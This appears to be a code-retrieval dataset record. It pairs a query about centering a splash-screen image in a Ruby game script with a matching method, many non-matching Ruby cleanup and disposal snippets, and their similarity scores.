"def free_resources\n\t\tunset_vim_event_hooks\n\tend",
"def test_gif_dispose(pokemon)\n return unless @pokemon && @gif\n if !pokemon || (@pokemon.id != pokemon.id) || (@pokemon.form != pokemon.form)\n bitmap.dispose\n @gif = nil\n end\n end",
"def dispose_balloon\n if @balloon_sprite\n @balloon_sprite.dispose\n @balloon_sprite = nil\n end\n end",
"def dispose_background\n @background.dispose;\n end",
"def application_teardown\n if File.exists?(IMG_DIR)\n FileUtils.rm_rf(IMG_DIR)\n end\n end",
"def finalize(*args)\n FFI::Libvirt.virStoragePoolFree(self)\n end",
"def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end",
"def cleanup\n FileUtils.rm_rf(sfx_cache_path)\n end",
"def release(resource); end",
"def clean\n # dispose all damage sprites\n @damages.each {|sprite| sprite.dispose if sprite.is_a?(Sprite)}\n # dispose all beam sprites\n @beams.each {|ary| ary[0].dispose}\n # create new damage sprite buffer and new projectile buffer\n @damages, @remotes, @beams = [], [], []\n # unfreeze all actor's actions\n $BlizzABS.battlers.each {|actor| actor.freeze_action = false}\n # clear observation and path request data\n $BlizzABS.AI = BlizzABS::AI.new\n end",
"def destroy\n @memo.destroy\n end",
"def deanimate\n @frame=0\n @currentIndex=0\n @actualBitmap.clear\n @actualBitmap.stretch_blt(Rect.new(0,0,@width,@height),@bitmap,Rect.new(@currentIndex*(@width/@scale),0,@width/@scale,@height/@scale))\n end",
"def deanimate\n @frame=0\n @currentIndex=0\n @actualBitmap.clear\n @actualBitmap.stretch_blt(Rect.new(0,0,@width,@height),@bitmap,Rect.new(@currentIndex*(@width/@scale),0,@width/@scale,@height/@scale))\n end",
"def destroy_image?\n self.image.clear if @image_delete == \"1\"\n end",
"def delete_all_sprites\n self.sprites.each{|sprite|\n sprite.visible = false\n sprite.dispose\n }\n @sprites = []\n end",
"def free\n @pool.shutdown(&:free)\n end",
"def invalidate_gl\n @gl_counterpart.free_resources if @gl_counterpart\n end",
"def clear\r\n System.instance.remove_item(self.id)\r\n\r\n unless self.picture =~ /default_item\\.png$/\r\n File.delete(Helpers::absolute_path(self.picture.sub(\"/images\", \"../public/images\"), __FILE__))\r\n end\r\n end",
"def load_icon(flush_it = false)\n if flush_it\n dispose_bitmaps_from_cache_tab(@icon_cache)\n else\n @icon_cache = {}\n @icon_data = Yuki::VD.new(PSDK_PATH + '/master/icon', :read)\n end\n end",
"def freeVNCPool\n $VNC_SCREEN_POOL.each { @connection_controller.close_connection(0) }\n @connection_controller = false\n end",
"def cleanup!; end",
"def cleanup!; end",
"def close\n EXIF.exif_loader_unref(self)\n return nil\n end",
"def cleanupSprites\n # remove from actors list\n @game_actors -= @clean_up_sprites\n\n # reset the clean up sprites\n @clean_up_sprites.clear\n end",
"def free\n\n self.class.free(@pointer)\n @pointer = nil\n end",
"def dispose\n dispose_boss_hp_bar\n bosses_dispose \n end",
"def free\n\n Lib.luaL_unref(@pointer, LUA_REGISTRYINDEX, @ref)\n @ref = nil\n end",
"def render_flex_image(img)\r\n img.to_jpg!\r\n send_data(img[img.class.binary_column], :type => 'image/jpeg', :disposition => 'inline')\r\n GC.start\r\n end",
"def dispose(scene)\n 2.times do\n @sprites[\"sel\"].opacity -= 128\n for i in [email protected]\n @sprites[\"choice#{i}\"].opacity -= 128\n end\n scene.animateScene(true)\n scene.pbGraphicsUpdate\n end\n pbDisposeSpriteHash(@sprites)\n end",
"def destroy\n\t\tFile.delete @filepath\n\t\t@data_base = nil\n\t\t@data_base.freeze\n\t\tself.freeze\n\tend",
"def dispose_timer\n @timer_sprite.dispose\n end",
"def delete_cache_and_img_and_fingerprint\n self.delete_cache_and_img\n\n # why do we bother clearing our fingerprint if the AssetOutput itself\n # is about to get deleted? If we don't, the after_commit handler will\n # rewrite the same cache we just deleted.\n self.fingerprint = ''\n end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def cleanup; end",
"def destroy\n @image_attrib.destroy\n end",
"def cleanup\n return unless @dst\n\n @dst.unlink\n @dst = nil\n end",
"def extract_graphic\n if !Cache.screenshot(@save_number, header).nil?\n bitmap_screenshot = Cache.screenshot(@save_number, header)\n @screenshot.zoom_x = 2\n @screenshot.zoom_y = 2\n else @virtualb = DataManager.load_screenshot(@save_number)\n if @virtualb.nil?\n bitmap_screenshot = black_bitmap\n else\n bitmap_screenshot = @virtualb.get_bitmap\n @screenshot.zoom_x = 2\n @screenshot.zoom_y = 2\n Cache.add_screenshot(@save_number, bitmap_screenshot, header[:key])\n end\n end\n @screenshot.bitmap = bitmap_screenshot\n @screenshot_loaded = false\n @loading_bar.disappear\n end",
"def after_destroy\n bundle_dir = File.join( self.userfolder, self.bundle_src_folder )\n logger.info(\"==================> Remove all bundle files for: \" + bundle_dir )\n %x[rm -f -R #{bundle_dir}]\n \n # delete bundle image file name\n %x[rm #{fq_bundle_image_filename('*')}]\n \n #delete sample audio prompt\n %x[rm #{fq_bundle_sample_prompt}]\n end",
"def clean!\n return false unless @path\n\n @cache[:paths].delete_if do |key, _|\n not @path.dirname.join(key).file? or\n # Remove any path to a file not in a subtree (:data_uri images).\n key[0..2] == NON_SUBTREE\n end\n\n sprite_keys = @project.sprites.map { |sprite| key(sprite) }\n\n @cache[:sprites].delete_if do |key, _|\n not sprite_keys.include?(key)\n end\n end",
"def finalize()\n # below function is not yet fully functional\n unlock_all_instances()\n end",
"def destroy\n @sprite = current_user.sprites.find(params[:id])\n @sprite.destroy\n\n require 'fileutils'\n file_path = \"#{Rails.root}/public/generated/#{@sprite.id}.png\"\n if File.exist?(file_path)\n FileUtils.rm(file_path)\n end\n\n respond_to do |format|\n format.html { redirect_to sprites_url }\n format.json { head :no_content }\n end\n end",
"def delete_image(image_name)\n File.delete(image_name)\n end",
"def remove\n\t\t#Clean up unused rtwork\n\t\tif Artwork.find_by_majorpost_uuid(params[:majorpost_uuid])\n\t\t\tResque.enqueue(Image::ArtworkCleanup, params[:majorpost_uuid])\n\t\tend\n\tend",
"def free\n\n clib.tcmapdel(pointer_or_raise)\n @pointer = nil\n end",
"def dispose_reds#(remo)\n @posx = 800\n if @red_banners.size > 0\n Banner::LeaveSound.play\n end\n @removed.reverse_each {|index| @party_banners.delete_at(index)}\n @red_banners.each do |red|\n red.move(@posx,red.y,0,11)\n end\n end",
"def cleanup_cached_images()\n\n # swap_dir = \"../public/swap\" # use when running locally from /lib/b2_bucket.rb\n swap_dir = \"./public/swap\" # use when running via app.rb\n swap_contents = \"#{swap_dir}/*\"\n gitkeep = \"#{swap_dir}/.gitkeep\"\n\n if File.directory?(swap_dir)\n FileUtils.rm_rf(Dir.glob(swap_contents)) # delete contents of /public/swap \n file = File.new(gitkeep, 'w') # recreate .gitkeep file\n file.close if file\n else\n puts \"Directory does not exist!\"\n end\n\nend",
"def release_data!\n @data = nil\n end"
] |
[
"0.70700425",
"0.70700425",
"0.67199796",
"0.6339967",
"0.631034",
"0.6147555",
"0.6130839",
"0.6105169",
"0.60769624",
"0.6007657",
"0.60008454",
"0.60006785",
"0.5996949",
"0.59496343",
"0.59419507",
"0.5923604",
"0.59014904",
"0.5866837",
"0.5822605",
"0.57995874",
"0.5770565",
"0.5764786",
"0.5758243",
"0.5747054",
"0.5712871",
"0.56961596",
"0.5678738",
"0.5674273",
"0.5671602",
"0.5648148",
"0.5643102",
"0.56354827",
"0.5625784",
"0.5595113",
"0.5582565",
"0.5567778",
"0.55575484",
"0.5549468",
"0.55474675",
"0.55431265",
"0.5503423",
"0.5486459",
"0.54821503",
"0.54819846",
"0.5476558",
"0.5445153",
"0.54217994",
"0.54036516",
"0.54036516",
"0.5402585",
"0.5394871",
"0.53545827",
"0.5339154",
"0.53391397",
"0.53267473",
"0.5312606",
"0.5296294",
"0.5295506",
"0.5291415",
"0.5286828",
"0.5278834",
"0.52712923",
"0.52541924",
"0.52541924",
"0.5249448",
"0.52379954",
"0.52377194",
"0.52329284",
"0.5227743",
"0.5209344",
"0.5204448",
"0.5203007",
"0.5203007",
"0.52015513",
"0.51982516",
"0.51957154",
"0.51954013",
"0.51939344",
"0.51854044",
"0.518281",
"0.51780206",
"0.5172941",
"0.51704514",
"0.5167069",
"0.5167069",
"0.5167069",
"0.5167069",
"0.5163835",
"0.51615196",
"0.5153088",
"0.5143887",
"0.5136558",
"0.5128182",
"0.5116091",
"0.5111198",
"0.5107961",
"0.5106392",
"0.50943184",
"0.5092088",
"0.5088894"
] |
0.72942966
|
0
|
Move Splash Image to Center
|
def center_splashscreen(sprite)
sprite.x = Graphics.width / 2
sprite.y = Graphics.height / 2
sprite.ox = sprite.bitmap.width / 2
sprite.oy = sprite.bitmap.height / 2
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def center_im(sprite)\n sprite.ox = sprite.width / 2\n sprite.oy = sprite.height / 2\n end",
"def center\n move(90)\n end",
"def center_sprite(sprite)\n sprite.ox = sprite.bitmap.width / 2\n sprite.oy = sprite.bitmap.height / 2\n sprite.x = Graphics.width / 2\n sprite.y = Graphics.height / 2\n end",
"def center_sprite(sprite)\n sprite.ox = sprite.bitmap.width / 2\n sprite.oy = sprite.bitmap.height / 2\n sprite.x = Graphics.width / 2\n sprite.y = Graphics.height / 2\n end",
"def center_sprite(sprite)\r\n \tsprite.ox = sprite.bitmap.width / 2\r\n \tsprite.oy = sprite.bitmap.height / 2\r\n \tsprite.x = Graphics.width / 2\r\n \tsprite.y = Graphics.height / 2\r\n end",
"def center(sprite)\n sprite.ox = sprite.width / 2\n sprite.oy = sprite.height / 2\n end",
"def center_sprite(sprite)\r\n\r\nsprite.ox = sprite.bitmap.width / 2\r\n\r\nsprite.oy = sprite.bitmap.height / 2\r\n\r\nsprite.x = Graphics.width / 2\r\n\r\nsprite.y = Graphics.height / 2\r\n\r\nend",
"def set_position_center\n self.set_position(0.5*(@screen_width-@window_width), 0.5*(@screen_height-@window_height))\n return self\nend",
"def center\n end",
"def splash_image_url\n self.splash_image ? self.splash_image.convert('-resize 50%').url : '/assets/campaigns/splash_default.jpg'\n end",
"def center(x, y)\n # Recalculate the screen center based on the new resolution.\n max_x = ($game_map.width - $game_map.tile_size[0]) * 128\n max_y = ($game_map.height - $game_map.tile_size[1]) * 128\n $game_map.display_x = [0, [x * 128 - CENTER_X, max_x].min].max\n $game_map.display_y = [0, [y * 128 - CENTER_Y, max_y].min].max\n end",
"def center(x, y)\n $game_map.set_display_pos(x - center_x, y - center_y)\n end",
"def center(x, y)\n $game_map.set_display_pos(x - center_x, y - center_y)\n end",
"def center_x\n\t\t\t@x = @@screen.width/2-@width/2\n\t\tend",
"def center_window\n self.x = (Graphics.width - self.width)/2\n self.y = (Graphics.height - self.height)/2\n end",
"def center(x, y)\n return unless $game_map.target_camera == self\n if $game_map.camera_x_locked?\n $game_map.set_display_pos($game_map.display_x, y - center_y)\n elsif $game_map.camera_y_locked?\n $game_map.set_display_pos(x - center_x, $game_map.display_x)\n else\n rme_center(x, y)\n end\n end",
"def center(x, y)\n max_x = ($game_map.width - 20) * 128\n max_y = ($game_map.height - 15) * 128\n $game_map.display_x = [0, [x * 128 - CENTER_X, max_x].min].max\n $game_map.display_y = [0, [y * 128 - CENTER_Y, max_y].min].max\n end",
"def reset(window)\n\t\t# put the horse back in the center\n\t\t@x = window.width / 2 - @image.width / 2\n\t\t@y = window.height / 2 - @image.height / 2\n\tend",
"def goto_splash\r\n fadeout_all\r\n SceneManager.goto(Scene_Splash)\r\n end",
"def center_window\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n refresh_cursor_position\n end",
"def center!\n @ob.center\n self\n end",
"def action_target_center\n @target_x = $scene.spriteset.battleback_width / 2\n @target_y = $scene.spriteset.battleback_height / 2\n end",
"def setCenter aPoint\n self.setFrameOrigin [aPoint.x-(self.frame.size.width/2), aPoint.y-(self.frame.size.height/2)]\n self.setNeedsDisplay true\n end",
"def center(x, y)\n\n # Get screen coordinates\n screen_x = (x - y) * TILE_WIDTH_HALF + (Graphics.width / 2)\n screen_y = (x + y) * TILE_HEIGHT_HALF + (Graphics.height / 2)\n\n # Calculate distance from center screen\n distance_from_center_x = screen_x - center_screen_x\n distance_from_center_y = screen_y - center_screen_y\n\n # Calculate parallax origin tile with new screen coordinates\n parallax_x = (distance_from_center_x / TILE_WIDTH_HALF + distance_from_center_y / TILE_HEIGHT_HALF) / 2\n parallax_y = (distance_from_center_y / TILE_HEIGHT_HALF - distance_from_center_x / TILE_WIDTH_HALF) / 2\n\n $game_map.set_display_pos(parallax_x, parallax_y)\n end",
"def test_alignMiddleCenter\n [@window, @sprite, @bitmap].each{|container|\n uc = UCIcon.new(container, Rect.new(0, 48, @window.contents.width, 72), 1, 1, 255, 1)\n uc.draw()\n }\n return true\n end",
"def setCenter(center)\n # center.x -> bounds.size.width, center.y -> bounds.size.height\n @target.bounds = CGRectMake(0, 0, center.x, center.y)\n end",
"def start_center\n if @place_loc.size > 0\n x, y = @place_loc.first\n @spriteset.cursor.center(x, y) \n elsif @actor_loc.keys.size > 0\n coord = @actor_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y) \n elsif @neu_loc.keys.size > 0\n coord = @neu_loc.values.first\n @spriteset.cursor.center(coord.x, coord.y)\n end\n @spriteset.update\n end",
"def center(x, y, flag = false)\n # set pix value\n pix = flag ? $BlizzABS.pixel : 1\n # resize coordinates\n x, y = x * 128 / pix, y * 128 / pix\n # get maximum coordinates of map\n m_x, m_y = ($game_map.width - 20) * 128, ($game_map.height - 15) * 128\n ox, oy = x - CX, y - CY\n # set new display coordinates\n if ox > m_x\n $game_map.display_x = m_x\n elsif ox < 0\n $game_map.display_x = 0\n else\n $game_map.display_x = ox\n end\n if oy > m_y\n $game_map.display_y = m_y\n elsif oy < 0\n $game_map.display_y = 0\n else\n $game_map.display_y = oy\n end\n end",
"def center\n CGPointMake(@target.bounds.size.width, @target.bounds.size.height)\n end",
"def start_splash\n # Clear the console\n puts \"\\e[H\\e[2J\" \n \n # Create a new splash object \n splash = ConsoleSplash.new(13, 40) # 13 lines, 40 columns\n \n # Add header to the splash console\n splash.write_header(\"Welcome to Flood-It\", \"Georgica Bors\", \"1.0\")\n \n # Add text to the splash console\n splash.write_center(-3, \"<Press enter to continue>\")\n \n # Select the pattern of the border of the splash screen\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n \n # Draw the splash screen\n splash.splash\n \nend",
"def splash_page\n end",
"def center_origins\n return if !self.bitmap\n self.ox = self.bitmap.width / 2\n self.oy = self.bitmap.height / 2\n end",
"def center= (point)\n self.frameOrigin = [point.x-(self.frame.size.width/2), point.y-(self.frame.size.height/2)]\n self.needsDisplay = true\n end",
"def place_center renderer, texture\n tw,th = texture.w, texture.h\n x = (w-tw)/2\n y = (h-th)/2\n place renderer, texture, x,y\n @texture\n end",
"def center\n\t\t\tcenter_x\n\t\t\tcenter_y\n\t\tend",
"def setCenter( c)\n w2, h2 = width/2, height/2\n x0, y0 = c[0] - w2, c[1] - h2\n x1, y1 = x0 + width, y0 + height\n self.coords( x0, y0, x1, y1)\n end",
"def set_animation_origin\n unless camera_reposition_case?\n super\n return\n end\n @anim_origin.x = @screen_point.x\n @anim_origin.y = @screen_point.y\n if @animation.position == 0\n @anim_origin.y -= height / 2\n elsif @animation.position == 2\n @anim_origin.y += height / 2\n end\n update_anim_origin_reference\n end",
"def center_camera_tb(last_real_x, last_real_y)\n scene = SceneManager.scene\n return if !scene.is_a?(Scene_Map)\n \n scmap_evw = scene.instance_eval('@event_waiting_for')\n update_scroll(last_real_x, last_real_y) if scmap_evw && scmap_evw == @id\n end",
"def center\n\t\ttop_right_vert / 2\n\tend",
"def nadar; 'Splash splash splash...'; end",
"def center_x\n (Graphics.width / 32 - 1) / 2.0\n end",
"def center_x\n (Graphics.width / 32 - 1) / 2.0\n end",
"def center_x\n (Graphics.width / 32 - 1) / 2.0\n end",
"def splashScreen(width, height)\n splash = ConsoleSplash.new(height, width);\n splash.write_header(\"Welcome to Flood-It\", \"Jake Sturgeon\", \"1.0\")\n splash.write_center(-3, \"<Press enter to continue>\")\n splash.write_horizontal_pattern(\"*\")\n splash.write_vertical_pattern(\"*\")\n splash.splash\n puts \"\"\nend",
"def splash\n puts <<-'SPLASH'\n\n\n _________ __ __ ______ _________ _______ ______\n /________/\\/_/\\/_/\\ /_____/\\ /________/\\ /______/\\ /_____/\\\n \\__.::.__\\/\\:\\ \\:\\ \\\\::::_\\/_\\__.::.__\\/ \\::::__\\/__\\:::_ \\ \\\n /_\\::\\ \\ \\:\\ \\:\\ \\\\:\\/___/\\ \\::\\ \\ \\:\\ /____/\\\\:\\ \\ \\ \\\n \\:.\\::\\ \\ \\:\\ \\:\\ \\\\_::._\\:\\ \\::\\ \\ \\:\\\\_ _\\/ \\:\\ \\ \\ \\\n \\: \\ \\ \\ \\:\\_\\:\\ \\ /____\\:\\ \\::\\ \\ \\:\\_\\ \\ \\ \\:\\_\\ \\ \\\n \\_____\\/ \\_____\\/ \\_____\\/ \\__\\/ \\_____\\/ \\_____\\/\n\n\n JUST GO: The world's greatest social event planning calendar app.\n\n\n SPLASH\n end",
"def makeSplash\n clearScreen\n splash = ConsoleSplash.new(15,70)\n splash.write_header(\"Welcome to Sokoban\",\"Ben Cornforth\",\"Alpha Build, November 2015\",{:nameFg=>:green,:authorFg=>:green, :versionFg=>:green, :bg=>:black})\n splash.write_horizontal_pattern(\"/*\",{:fg=>:white, :bg=>:black})\n splash.write_vertical_pattern(\"/\",{:fg=>:orange, :bg=>:black})\n splash.splash\n if pressKey != ''\n menuScreen\n end\nend",
"def initialize_title_image\n @title_image = Gosu::Image.new(@window, Const::PATH_IMAGE_TITLE, false)\n @img_size_factor = (@window.width - Const::GAME_WIN_GAP).to_f / @title_image.width\n @img_x = (@window.width - @title_image.width * @img_size_factor) / 2\n @img_y = 20\n end",
"def initialize_title_image\n @title_image = Gosu::Image.new(@window, Const::PATH_IMAGE_TITLE, false)\n @img_size_factor = (@window.width - Const::GAME_WIN_GAP).to_f / @title_image.width\n @img_x = (@window.width - @title_image.width * @img_size_factor) / 2\n @img_y = 20\n end",
"def test_alignMiddleCenter\n [@window, @sprite, @bitmap].each{|container|\n uc = UCCharacterGraphic.new(container, Rect.new(0, 80, @window.contents.width, 120), $data_actors[1], 1, 255, 1)\n uc.draw()\n }\n return true\n end",
"def center_x\n (Graphics.width / TILE_WIDTH_HALF - 1) / 2\n end",
"def centerOn(x, y)\r\n hwidth=((@x2-@x1)/2).ceil.abs\r\n hheight=((@y2-@y1)/2).ceil.abs\r\n @x2=x+hwidth\r\n @y2=y+hheight\r\n @y1=y-hheight\r\n @x1=x-hwidth\r\n end",
"def moveto(x, y)\n super\n # Centering\n center(x, y)\n # Make encounter count\n make_encounter_count\n end",
"def centre\n @centre ||= world.point(x_min + width/2.0, y_min + height/2.0)\n end",
"def center_x\n return CENTER_X\n end",
"def set_avatar\n @avatar_window.activate\n @avatar_window.x = 0 - @avatar_window.width unless @avatar_window.visible\n @avatar_window.visible = true\n @avatar_window.smooth_move(0, @avatar_window.y)\n end",
"def layout_full_center\n nil\n end",
"def center_y\n\t\t\t@y = @@screen.height/2-@height/2\n\t\tend",
"def move_animation_camera_relative_static\n if @animation.position != 3\n last_screen_x = @ani_ox\n last_screen_y = @ani_oy\n update_anim_origin_reference\n dx = (@ani_ox - last_screen_x).round\n dy = (@ani_oy - last_screen_y).round\n @ani_sprites.each do |sprite|\n sprite.x += dx\n sprite.y += dy\n end\n end\n end",
"def dispose_splashscreen\r\n @sprite.bitmap.dispose\r\n @sprite.dispose\r\n end",
"def move_animation_camera_relative_static\n if @animation && @animation.position != 3\n last_screen_x = @ani_ox\n last_screen_y = @ani_oy\n update_anim_origin_reference\n dx = (@ani_ox - last_screen_x).round\n dy = (@ani_oy - last_screen_y).round\n @ani_sprites.each do |sprite|\n sprite.x += dx\n sprite.y += dy\n end\n end\n end",
"def align_text_center(text_object)\n text_object.x = (Window.width - text_object.width) / 2\n end",
"def test_alignTopCenter\n [@window, @sprite, @bitmap].each{|container|\n uc = UCIcon.new(container, Rect.new(0, 48, @window.contents.width, 72), 1, 1)\n uc.draw()\n }\n return true\n end",
"def tick_main_sequence\n @avatar.assign(@tileset.sprite_for(@avatar.cur_tile)) if @avatar.tick\n @camera.start_following(@avatar) if @avatar.walking\n @avatar.reposition(*@camera.follow)\n @map.change_tiles(*@camera.pos)\n end",
"def test_alignMiddleLeft\n [@window, @sprite, @bitmap].each{|container|\n uc = UCIcon.new(container, Rect.new(0, 48, @window.contents.width, 72), 1, 0, 255, 1)\n uc.draw()\n }\n return true\n end",
"def begin_with\n move_to(0, 0)\n resize_to(screen_width, screen_height)\n end",
"def center size\n x = self.x + (size.width / 2.0)\n y = self.y + (size.height / 2.0)\n CGPoint.new(x, y)\n end",
"def center_window(win)\n window(win) << \".dialog('option', 'position', 'center');\"\n end",
"def update_placement\n self.x = (Graphics.width - self.width) / 2\n self.y = (Graphics.height - self.height) / 2\n end",
"def update_slot_position\n @screenshot.x = @x\n @screenshot.y = @y\n @info_rect.x = @x\n @info_rect.y = @y\n if @loading_bar != nil\n @loading_bar.x = @x + 30\n @loading_bar.y = @y + 80\n end\n end",
"def set_display_pos(x, y)\n @display_x = (x + @map.width * 256) % (@map.width * 256)\n @display_y = (y + @map.height * 256) % (@map.height * 256)\n @parallax_x = x\n @parallax_y = y\n end",
"def centre\n [(height / 2), (width / 2)]\n end",
"def align_center\n self.center(LENGTH)\n end",
"def cent_x\n self.x + (@width / 2)\n end",
"def mapCenterOnCamera _obj, _args\n \"_obj mapCenterOnCamera _args;\" \n end",
"def crop_logo\n logo.recreate_versions! if crop_logo_x.present?\n end",
"def center=(arg)\n x, y = *(arg.is_a?(Vector) ? arg.getInternal__.to_a : arg)\n self.pos = [x - w / 2, y - h / 2, z]\n self.center\n end",
"def move_animation_camera_relative_follow\n if @animation.position != 3\n last_screen_x = @anim_origin.screen_x\n last_screen_y = @anim_origin.screen_y\n @anim_origin.x = @battler.x\n @anim_origin.y = @battler.y - oy\n update_anim_origin_reference\n dx = (@ani_ox - last_screen_x).round\n dy = (@ani_oy - last_screen_y).round\n @ani_sprites.each do |sprite|\n sprite.x += dx\n sprite.y += dy\n end\n end\n end",
"def center_on x,y,w,h\n x = x - w / 2\n y = y - h / 2 \n return x,y \n end",
"def set_position\n self.position = institution.max_photo_position + 1\n end",
"def reposition_window\n config = MARW_CONFIGURATION\n self.x = config[:window_x] == -1 ? (Graphics.width - window_width) / 2 : config[:window_x]\n self.y = 0\n end",
"def center_y\n return CENTER_Y\n end",
"def set_center\n @center = current_user.center\n end",
"def update \n\t\t@currentframe = (@currentframe + 1) % @frames.size \n\t\t@image = @frames[@currentframe] # load the image\n \[email protected]!(-@xspeed,0) # move horizontally left \n if @rect.right() < 0\n\t\t\t\tself.kill # went off screen, kill it\n\t\t\t\treturn \n\t\t end\n end",
"def centro\n @control_url = \"#{@control_url}camctrl.cgi\"\n send_command(\"PanTiltSingleMove\" => 4)\n end",
"def moveLeft(distance)\n @x = @x - distance\n @image.x = @x\n end",
"def moveLeft(distance)\n @x = @x - distance\n @image.x = @x\n end",
"def update_anim_origin_reference\n @ani_ox = @anim_origin.screen_x\n @ani_oy = @anim_origin.screen_y\n end",
"def zoom_center(x)\n idx = @grf.near_x x\n printf(\"zoom center start: %3d % 4d % 4d % 4d\\n\", x, @zoom_beg, idx, @zoom_end)\n range = @zoom_end - @zoom_beg\n cpidx = idx / range\n \n newl = (@zoom_beg + (range * 0.125)).to_i\n newr = (@zoom_end - (range * 0.125)).to_i\n @zoom_beg = newl\n @zoom_end = newr\n printf(\"zoom center end: %3d % 4d % 4d % 4d \\n\", x, @zoom_beg, idx, @zoom_end)\n @zooming = true;\n @grf.zoom @zoom_beg, @zoom_end\n end",
"def set_screen_postion(start_pos, reset = false)\n position = reset ? [$game_player.x,$game_player.y] : start_pos \n pos = set_screen_move_postion(position)\n set_screen(pos[0], $game_map.display_x, true)\n set_screen(pos[1], $game_map.display_y, false)\n end",
"def center()\n Vector.new(x + w / 2, y + h / 2, z)\n end",
"def move_picture picture\n end",
"def center_horizontally(hcenter = nil)\n if hcenter.nil?\n @hcenter = 1\n else\n @hcenter = hcenter\n end\n end",
"def center; return self.centerx, self.centery; end",
"def intro\n system 'clear'\n intro = PicDisplay.new\n intro.logo\n sleep(4)\n welcome\n end",
"def create_object_position\n @location = Sprite.new\n @location.bitmap = Cache.picture(LOCATION_PICTURE)\n center_im(@location)\n @location.z = 16\n @circlel = Sprite.new\n @circlel.tone.set(255, 0, 0)\n @circlel.blend_type = 1\n @circlel.bitmap = Cache.picture(CIRCLE_PICTURE)\n center_im(@circlel)\n @circlel.z = 16\n place_object\n end",
"def create_target_position\n @target = Sprite.new\n return if no_target\n @target.bitmap = Cache.picture(TARGET_PICTURE)\n center_im(@target)\n @target.x = @target_x\n @target.y = @target_y\n @target.z = 14\n end",
"def move_home_y\n $status.info_target_y = 0\n execute_command('F12', true, false)\n end",
"def center\n self.bounds.center\n end",
"def center_move\n if @board.board[4] == Board::EMPTY_CELL\n return 4\n end\n end",
"def center\r\n Point.from_x_y((lower_corner.x + upper_corner.x)/2,(lower_corner.y + upper_corner.y)/2)\r\n end"
] |
[
"0.66069525",
"0.64006484",
"0.62384856",
"0.62384856",
"0.61774963",
"0.610229",
"0.5999198",
"0.5997933",
"0.59430677",
"0.5846634",
"0.5821888",
"0.5776053",
"0.5776053",
"0.57433563",
"0.570513",
"0.56711274",
"0.5562244",
"0.5543555",
"0.55433184",
"0.5536344",
"0.5533582",
"0.5484968",
"0.54566014",
"0.5442833",
"0.54403865",
"0.5433691",
"0.54270095",
"0.54238266",
"0.53735787",
"0.5343138",
"0.5316075",
"0.5302902",
"0.52957743",
"0.5262478",
"0.5256664",
"0.52313536",
"0.51537675",
"0.51406366",
"0.51385015",
"0.5124423",
"0.50827444",
"0.50827444",
"0.50827444",
"0.5076868",
"0.50580263",
"0.5034125",
"0.5026767",
"0.5026767",
"0.500882",
"0.49918556",
"0.49861932",
"0.49843284",
"0.498333",
"0.4980628",
"0.49680838",
"0.49561065",
"0.4952515",
"0.49449348",
"0.4899926",
"0.48953527",
"0.48940164",
"0.48908123",
"0.48879072",
"0.48585844",
"0.4830438",
"0.48177046",
"0.48128858",
"0.4786997",
"0.47678405",
"0.47594485",
"0.47522122",
"0.47359166",
"0.47306773",
"0.47260025",
"0.47144392",
"0.4700934",
"0.47003552",
"0.46957248",
"0.46837354",
"0.46767512",
"0.46763787",
"0.46714848",
"0.4666575",
"0.46642417",
"0.4663187",
"0.4663187",
"0.46585548",
"0.4656323",
"0.46552005",
"0.46509954",
"0.4647818",
"0.46400562",
"0.46381578",
"0.46190014",
"0.46176055",
"0.46164402",
"0.4612611",
"0.4606616",
"0.46043497",
"0.4602886"
] |
0.7895829
|
0
|
Transition To Title Screen delay: Delay time in between scene transitions
|
def goto_title(delay = 30)
fadeout_all
Graphics.wait(delay)
SceneManager.goto(Scene_Title)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def command_to_title\r\n # Play decision SE\r\n $game_system.se_play($data_system.decision_se)\r\n # Fade out BGM, BGS, and ME\r\n Audio.bgm_fade(800)\r\n Audio.bgs_fade(800)\r\n Audio.me_fade(800)\r\n # Switch to title screen\r\n $scene = Scene_Title.new\r\n end",
"def main_end\r\n super\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n end",
"def main_end\r\n # If switching to title screen\r\n if $scene.is_a?(Scene_Title)\r\n # Fade out screen\r\n Graphics.transition\r\n Graphics.freeze\r\n end\r\n end",
"def command_to_title\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = Scene_Title.new\n Graphics.fadeout(60)\n end",
"def update_to_title?\r\n # If returning to title screen\r\n if $game_temp.to_title\r\n # Change to title screen\r\n $scene = Scene_Title.new\r\n return true\r\n end\r\n return false\r\n end",
"def update_title?\r\n # If returning to title screen\r\n if $game_temp.to_title\r\n # Switch to title screen\r\n $scene = Scene_Title.new\r\n return true\r\n end\r\n return false\r\n end",
"def command_to_title\n Sound.play_decision\n RPG::BGM.fade(800)\n RPG::BGS.fade(800)\n RPG::ME.fade(800)\n $scene = Scene_Title.new\n close_command_window\n Graphics.fadeout(60)\n end",
"def SS0_1 args\r\n\targs.state.tick_timer ||= args.state.tick_count\r\n\r\n\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-1.png\"]\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 60) && args.state.tick_count < (args.state.tick_timer + 68)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-2.png\"]\r\n\tend\r\n\r\n\tif args.state.tick_count >= (args.state.tick_timer + 83) && args.state.tick_count < (args.state.tick_timer + 91)\r\n\t\targs.outputs.sprites << [0, 0, 1280, 720, \"sprites/Intro-Background-3.png\"]\r\n\tend\r\n\r\n\r\n\t#After moving characters finished, transition to SS0_2\r\n\tif args.state.tick_count >= (args.state.tick_timer + 160)\r\n\t\targs.state.tick_timer = nil\r\n\t\targs.state.screen_select = 0.2\r\n\tend\r\nend",
"def main_transition\r\n Graphics.transition(120)\r\n end",
"def goto_splash\r\n fadeout_all\r\n SceneManager.goto(Scene_Splash)\r\n end",
"def redisplay_delay\r\n 20\r\n end",
"def setup_screen_fadein\n $game_troop.screen.start_fadein(@acts[1] || 30)\n end",
